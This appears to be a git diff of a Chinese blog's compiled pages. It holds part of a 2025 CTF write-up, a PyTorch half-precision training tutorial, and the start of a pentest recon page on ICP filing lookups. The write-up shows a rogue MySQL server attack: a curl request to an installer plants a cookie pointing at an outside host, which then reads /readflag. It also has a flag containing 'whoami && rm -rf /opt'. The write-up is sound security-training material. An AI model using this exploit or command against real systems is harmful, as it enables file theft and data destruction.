3396655 (3.2M) [application/octet-stream]\nSaving to: \u2018rogue_mysql_server-v1.0.1-linux-amd64.zip.1\u2019\n\nrogue_mysql_server-v1.0.1-linux-amd64.zip 100%[====================================================================================>] 3.24M 8.89MB/s in 0.4s\n\n2025-04-18 10:51:48 (8.89 MB/s) - \u2018rogue_mysql_server-v1.0.1-linux-amd64.zip.1\u2019 saved [3396655/3396655]\n\nArchive: rogue_mysql_server-v1.0.1-linux-amd64.zip\n inflating: README.md\n inflating: config.yaml\n inflating: rogue_mysql_server\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539 config.yaml \u4e2d\u9700\u8981\u8bfb\u53d6\u7684\u6587\u4ef6 \u4e3a /readflag \u5e76\u542f\u52a8"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c /tmp vim config.yaml\n\u279c /tmp ./rogue_mysql_server\nINFO[2025-04-18 10:53:19] Server started at [0.0.0.0:3306]\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u89e6\u53d1\u6587\u4ef6\u8bfb\u53d6\uff0c\u6ce8\u610f\u6570\u636e\u5e93IP\u4e3a\u516c\u7f51\u5730\u5740\u7684IP"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl 'http://127.0.0.1:2002/install.php?m=Install&a=step3&c=Install&' \\\n-H 'Cookie: foo_db_config=mysql://root:root@83.229.121.36:3306/test?1001=1;'\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u53d1\u9001\u540e\uff0c\u670d\u52a1\u7aef\u5c31\u4f1a\u5f97\u5230\u5bf9\u5e94\u7684flag\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'\u279c /tmp ./rogue_mysql_server\nINFO[2025-04-18 10:59:34] Server started at [0.0.0.0:3306]\nINFO[2025-04-18 10:59:37] New client from addr [171.219.210.82:17709] logged in with username [root], database [test], ID [1]\nINFO[2025-04-18 10:59:37] Client from addr [171.219.210.82:17709], ID [1] try to query [SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"]\nINFO[2025-04-18 10:59:37] Now try to read file [/readflag] from addr [171.219.210.82:17709], ID [1]\nINFO[2025-04-18 10:59:37] Read success, stored at [./loot/171.219.210.82/1744945177597_readflag]\nINFO[2025-04-18 10:59:38] Client leaved, Addr [171.219.210.82:17709], ID [1]\n^C\n\u279c /tmp cat ./loot/171.219.210.82/1744945177597_readflag\nctf{123456789}\n\u279c /tmp\n'})}),"\n",(0,l.jsx)(n.h3,{id:"numbertheory",children:"NumberTheory"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def-2",children:"\u601d\u8def"}),"\n",(0,l.jsx)(n.p,{children:"\u8d39\u9a6c\u5b9a\u7406"}),"\n",(0,l.jsx)(n.h4,{id:"wp-2",children:"wp"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"```\nfrom Crypto.Util.number import *\nimport gmpy2\n\n\ne = 65537\nn = 105531804094410236294687082475828411218788143973352026416392542762437103918840861241726193253936370648195682452618343195471719649394086997793137653518966739212122830015579955183805636213883066694989610003565432493653164047938048521354525623612253955387430773546124647105772639376194421783783651686606080214099\nc = 6838127295540107402282470465780599628759317234806902778570348919850980664834107227012249617036087381075344016550381137159643512672239826438903241091658619314078921936719784123522758604349399440232971511649918093228288847534685526358191804172060250409498531941883162873696671060909325234109062997554795436940\nh = 225457129615945961139095949356083106510992163176770860368085043522677811094793442173512565115313130227614423196268240217775831118417780318014842280209747426271227826513967791945116378179885000662888744992914390207196310600996050316737090999399962338133222370745589250853315876818226312453376340282748842779666176953455553054310328901299083159029050169950812885486884682347263045764918907196922313892044095742248895091717187372068779768743879411865275203496650858608\n\n#hint + 233 * k == 233 * k * p\n# hint / 233*k + 1 == p\n# hint / 233*k == p-1\n# hint /233 = k*(p-1) = k*phi(p)\n# \u8d39\u9a6c\u5c0f\u5b9a\u7406\n# a^ k*phi(p) == 1 modp\n# a^(hint /233) == 1 modp\n# a^(hint /233) -1 == 0 modp\n# n == 0 modp\n\na =2\n\np = gmpy2.gcd(n, pow(a, (h //233), n)-1)\nprint(p)\nq = n//p\n\nphi = (p-1)*(q-1)\nd = gmpy2.invert(e, phi)\nprint(long_to_bytes(pow(c, d, n)))\n```\n\n"})}),"\n",(0,l.jsx)(n.h3,{id:"usb",children:"USB"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def-3",children:"\u601d\u8def"}),"\n",(0,l.jsx)(n.p,{children:"\u63d0\u53d6usb\u8f93\u5165"}),"\n",(0,l.jsx)(n.h4,{id:"wp-3",children:"wp"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-text",children:"flag{158f26cca09e89b08cbd234c1f9c98c0}\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202504181336923.png",alt:"image-20250417152848408"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"flag{whoami && rm -rf /opt}\n"})}),"\n",(0,l.jsx)(n.h2,{id:"reference",children:"Reference"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://www.cers.org.cn/site/content/d65f5ca22ac4be37e11fd5b53a79e3d5.html",children:"\u3010\u62a5\u540d\u901a\u77e5\u3011\u5173\u4e8e\u7ec4\u7ec72025\u5e74\u80fd\u6e90\u7f51\u7edc\u5b89\u5168\u5927\u8d5b \u62a5\u540d\u7684\u901a\u77e5_\u4e2d\u56fd\u80fd\u6e90\u7814\u7a76\u4f1a"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3",children:"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4 - GZ::CTF"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/5277f951.c8a0943b.js b/assets/js/5277f951.c8a0943b.js new file mode 100644 index 0000000..9050839 --- /dev/null +++ b/assets/js/5277f951.c8a0943b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4809],{28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>i});var s=t(96540);const r={},l=s.createContext(r);function c(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:n},e.children)}},54367:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/float16-e65233fe4f15e50c00ed7034ecb48a45.jpg"},95356:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision"},"next":{"title":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug"}}');var r=t(74848),l=t(28453);const c={},i="6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md",d={},h=[{value:"6.4.1 \u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e",id:"641-\u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e",level:2}];function o(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"64-\u534a\u7cbe\u5ea6\u8bad\u7ec3md",children:"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"64-\u534a\u7cbe\u5ea6\u8bad\u7ec3",children:"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u63d0\u5230PyTorch\u65f6\u5019\uff0c\u603b\u4f1a\u60f3\u5230\u8981\u7528\u786c\u4ef6\u8bbe\u5907GPU\u7684\u652f\u6301\u3002\u800cGPU\u7684\u6027\u80fd\u4e3b\u8981\u5206\u4e3a\u4e24\u90e8\u5206\uff1a\u7b97\u529b\u548c\u663e\u5b58\uff0c\u524d\u8005\u51b3\u5b9a\u4e86\u663e\u5361\u8ba1\u7b97\u7684\u901f\u5ea6\uff0c\u540e\u8005\u5219\u51b3\u5b9a\u4e86\u663e\u5361\u53ef\u4ee5\u540c\u65f6\u653e\u5165\u591a\u5c11\u6570\u636e\u7528\u4e8e\u8ba1\u7b97\u3002\u5728\u53ef\u4ee5\u4f7f\u7528\u7684\u663e\u5b58\u6570\u91cf\u4e00\u5b9a\u7684\u60c5\u51b5\u4e0b\uff0c\u6bcf\u6b21\u8bad\u7ec3\u80fd\u591f\u52a0\u8f7d\u7684\u6570\u636e\u66f4\u591a\uff08\u4e5f\u5c31\u662fbatch size\u66f4\u5927\uff09\uff0c\u5219\u4e5f\u53ef\u4ee5\u63d0\u9ad8\u8bad\u7ec3\u6548\u7387\u3002\u53e6\u5916\uff0c\u6709\u65f6\u5019\u6570\u636e\u672c\u8eab\u4e5f\u6bd4\u8f83\u5927\uff08\u6bd4\u59823D\u56fe\u50cf\u3001\u89c6\u9891\u7b49\uff09\uff0c\u663e\u5b58\u8f83\u5c0f\u7684\u60c5\u51b5\u4e0b\u53ef\u80fd\u751a\u81f3batch size\u4e3a1\u7684\u60c5\u51b5\u90fd\u65e0\u6cd5\u5b9e\u73b0\u3002\u56e0\u6b64\uff0c\u5408\u7406\u4f7f\u7528\u663e\u5b58\u4e5f\u5c31\u663e\u5f97\u5341\u5206\u91cd\u8981\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u89c2\u5bdfPyTorch\u9ed8\u8ba4\u7684\u6d6e\u70b9\u6570\u5b58\u50a8\u65b9\u5f0f\u7528\u7684\u662f",(0,r.jsx)(n.code,{children:"torch.float32"}),"\uff0c\u5c0f\u6570\u70b9\u540e\u4f4d\u6570\u66f4\u591a\u56fa\u7136\u80fd\u4fdd\u8bc1\u6570\u636e\u7684\u7cbe\u786e\u6027\uff0c\u4f46\u7edd\u5927\u591a\u6570\u573a\u666f\u5176\u5b9e\u5e76\u4e0d\u9700\u8981\u8fd9\u4e48\u7cbe\u786e\uff0c\u53ea\u4fdd\u7559\u4e00\u534a\u7684\u4fe1\u606f\u4e5f\u4e0d\u4f1a\u5f71\u54cd\u7ed3\u679c\uff0c\u4e5f\u5c31\u662f\u4f7f\u7528",(0,r.jsx)(n.code,{children:"torch.float16"}),"\u683c\u5f0f\u3002\u7531\u4e8e\u6570\u4f4d\u51cf\u4e86\u4e00\u534a\uff0c\u56e0\u6b64\u88ab\u79f0\u4e3a\u201c\u534a\u7cbe\u5ea6\u201d\uff0c\u5177\u4f53\u5982\u4e0b\u56fe\uff1a"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"amp",src:t(54367).A+"",width:"851",height:"361"})}),"\n",(0,r.jsx)(n.p,{children:"\u663e\u7136\u534a\u7cbe\u5ea6\u80fd\u591f\u51cf\u5c11\u663e\u5b58\u5360\u7528\uff0c\u4f7f\u5f97\u663e\u5361\u53ef\u4ee5\u540c\u65f6\u52a0\u8f7d\u66f4\u591a\u6570\u636e\u8fdb\u884c\u8ba1\u7b97\u3002\u672c\u8282\u4f1a\u4ecb\u7ecd\u5982\u4f55\u5728PyTorch\u4e2d\u8bbe\u7f6e\u4f7f\u7528\u534a\u7cbe\u5ea6\u8ba1\u7b97\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"\u5982\u4f55\u5728PyTorch\u4e2d\u8bbe\u7f6e\u534a\u7cbe\u5ea6\u8bad\u7ec3"}),"\n",(0,r.jsx)(n.li,{children:"\u4f7f\u7528\u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u6ce8\u610f\u4e8b\u9879"}),"\n"]}),"\n",(0,r.jsx)(n.h2,{id:"641-\u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e",children:"6.4.1 \u534a\u7cbe\u5ea6\u8bad\u7ec3\u7684\u8bbe\u7f6e"}),"\n",(0,r.jsx)(n.p,{children:"\u5728PyTorch\u4e2d\u4f7f\u7528autocast\u914d\u7f6e\u534a\u7cbe\u5ea6\u8bad\u7ec3\uff0c\u540c\u65f6\u9700\u8981\u5728\u4e0b\u9762\u4e09\u5904\u52a0\u4ee5\u8bbe\u7f6e\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"import autocast"})}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"from torch.cuda.amp import autocast\n"})}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"\u6a21\u578b\u8bbe\u7f6e"})}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u6a21\u578b\u5b9a\u4e49\u4e2d\uff0c\u4f7f\u7528python\u7684\u88c5\u9970\u5668\u65b9\u6cd5\uff0c\u7528autocast\u88c5\u9970\u6a21\u578b\u4e2d\u7684forward\u51fd\u6570\u3002\u5173\u4e8e\u88c5\u9970\u5668\u7684\u4f7f\u7528\uff0c\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(n.a,{href:"https://www.cnblogs.com/jfdwd/p/11253925.html",children:"\u8fd9\u91cc"}),"\uff1a"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"@autocast() \ndef forward(self, x):\n ...\n return x\n"})}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"\u8bad\u7ec3\u8fc7\u7a0b"})}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0c\u53ea\u9700\u5728\u5c06\u6570\u636e\u8f93\u5165\u6a21\u578b\u53ca\u5176\u4e4b\u540e\u7684\u90e8\u5206\u653e\u5165\u201cwith autocast():\u201c\u5373\u53ef\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:" for x in train_loader:\n\tx = x.cuda()\n\twith autocast():\n output = model(x)\n ...\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,r.jsx)(n.p,{children:"\u534a\u7cbe\u5ea6\u8bad\u7ec3\u4e3b\u8981\u9002\u7528\u4e8e\u6570\u636e\u672c\u8eab\u7684size\u6bd4\u8f83\u5927\uff08\u6bd4\u5982\u8bf43D\u56fe\u50cf\u3001\u89c6\u9891\u7b49\uff09\u3002\u5f53\u6570\u636e\u672c\u8eab\u7684size\u5e76\u4e0d\u5927\u65f6\uff08\u6bd4\u5982\u624b\u5199\u6570\u5b57MNIST\u6570\u636e\u96c6\u7684\u56fe\u7247\u5c3a\u5bf8\u53ea\u670928*28\uff09\uff0c\u4f7f\u7528\u534a\u7cbe\u5ea6\u8bad\u7ec3\u5219\u53ef\u80fd\u4e0d\u4f1a\u5e26\u6765\u663e\u8457\u7684\u63d0\u5347\u3002"})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/537ed264.0fe44b36.js b/assets/js/537ed264.0fe44b36.js new file mode 100644 index 0000000..a087c82 --- /dev/null +++ b/assets/js/537ed264.0fe44b36.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1083],{28453:(e,n,t)=>{t.d(n,{R:()=>r,x:()=>c});var s=t(96540);const i={},l=s.createContext(i);function r(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),s.createElement(l.Provider,{value:n},e.children)}},90551:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>r,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","title":"ICP\u5907\u6848\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/01.ICP\u5907\u6848\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/01.ICP\u5907\u6848\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4e3b\u57df\u540d\u6536\u96c6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/"},"next":{"title":"\u8bc1\u4e66\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2"}}');var i=t(74848),l=t(28453);const r={},c=void 0,d={},h=[{value:"\u6709\u4f55\u4f5c\u7528",id:"\u6709\u4f55\u4f5c\u7528",level:2},{value:"\u5982\u4f55\u67e5\u8be2",id:"\u5982\u4f55\u67e5\u8be2",level:2},{value:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9",id:"\u7b2c\u4e09\u65b9\u67e5\u8be2\u7f51\u7ad9",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function o(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,i.jsx)(n.p,{children:"ICP\u5907\u6848\u662f\u6307\u7f51\u7ad9\u5728\u4fe1\u606f\u4ea7\u4e1a\u90e8\u63d0\u4ea4\u7f51\u7ad9\u4fe1\u606f\u8fdb\u884c\u5b98\u65b9\u8ba4\u53ef\u3002\u5bf9\u56fd\u5185\u5404\u5927\u5c0f\u7f51\u7ad9(\u5305\u62ec\u4f01\u4e1a\u53ca\u4e2a\u4eba\u7ad9\u70b9)\u7684\u4e25\u683c\u5ba1\u67e5\u5de5\u4f5c\uff0c\u5bf9\u4e8e\u6ca1\u6709\u5408\u6cd5\u5907\u6848\u7684\u975e\u7ecf\u8425\u6027\u7f51\u7ad9\u6216\u6ca1\u6709\u53d6\u5f97ICP\u8bb8\u53ef\u8bc1\u7684\u7ecf\u8425\u6027\u7f51\u7ad9\uff0c\u6839\u636e\u7f51\u7ad9\u6027\u8d28\uff0c\u5c06\u4e88\u4ee5\u7f5a\u6b3e\uff0c\u4e25\u91cd\u7684\u5173\u95ed\u7f51\u7ad9\uff0c\u4ee5\u6b64\u89c4\u8303\u7f51\u7edc\u5b89\u5168\uff0c\u6253\u51fb\u4e00\u5207\u5229\u7528\u7f51\u7edc\u8d44\u6e90\u8fdb\u884c\u4e0d\u6cd5\u6d3b\u52a8\u7684\u72af\u7f6a\u884c\u4e3a\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u53ea\u8981\u662f\u76c8\u5229\u4e3a\u76ee\u7684\u7684\u7f51\u7ad9\uff0c\u90fd\u8981\u8fdb\u884cICP\u5907\u6848\uff0c\u5426\u5219\u4f1a\u53d7\u5230\u76f8\u5e94\u7684\u5904\u7f5a\u3002"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.strong,{children:"\u56fd\u5185\u4f7f\u7528\u56fd\u5185\u670d\u52a1\u5668\u7684\u7f51\u7ad9\uff0c\u90fd\u5fc5\u987b\u8981\u5148\u529e\u7406ICP\u5907\u6848\u540e\u624d\u53ef\u4ee5\u4e0a\u7ebf\u3002"})}),"\n",(0,i.jsx)(n.h2,{id:"\u6709\u4f55\u4f5c\u7528",children:"\u6709\u4f55\u4f5c\u7528"}),"\n",(0,i.jsx)(n.p,{children:"\u901a\u8fc7\u67e5\u8be2\u76ee\u6807\u4f01\u4e1a\u7684\u5907\u6848\u4fe1\u606f\uff0c\u53ef\u76f4\u63a5\u83b7\u53d6\u5230\u76ee\u6807\u4f01\u4e1a\u6ce8\u518c\u4e86\u54ea\u4e9b\u57df\u540d\uff0c\u4ece\u800c\u589e\u52a0\u53ef\u6e17\u900f\u7684\u76ee\u6807\u8303\u56f4\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u5982\u4f55\u67e5\u8be2",children:"\u5982\u4f55\u67e5\u8be2"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"![Tip]"}),"\n",(0,i.jsxs)(n.p,{children:["\u63a8\u8350\u4f7f\u7528\u5b98\u65b9\u7f51\u7ad9",(0,i.jsx)(n.a,{href:"https://beian.miit.gov.cn/#/Integrated/recordQuery",children:"ICP/IP\u5730\u5740/\u57df\u540d\u4fe1\u606f\u5907\u6848\u7ba1\u7406\u7cfb\u7edf"})]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u652f\u6301\u4f7f\u7528",(0,i.jsx)(n.code,{children:"\u5355\u4f4d\u540d\u79f0"}),"\u3001",(0,i.jsx)(n.code,{children:"\u57df\u540d"}),"\u548c",(0,i.jsx)(n.code,{children:"\u5907\u6848\u53f7"}),"\u8fdb\u884c\u67e5\u8be2"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u4f7f\u7528\u5355\u4f4d\u540d\u79f0\u67e5\u8be2"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640497.jpg",alt:"img"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u57df\u540d\u67e5\u8be2"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u5907\u6848\u53f7\u67e5\u8be2"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640499.jpg",alt:"img"})}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4efb\u610f\u53c2\u6570\u67e5\u8be2\u540e\uff0c\u53ef\u901a\u8fc7\u76f8\u5173\u7684\u4fe1\u606f\u67e5\u8be2\u5176\u4ed6\u76f8\u5173\u7684\u57df\u540d\u8fbe\u5230\u6536\u96c6\u76ee\u6807\u57df\u540d\u7684\u76ee\u7684\u3002"}),"\n",(0,i.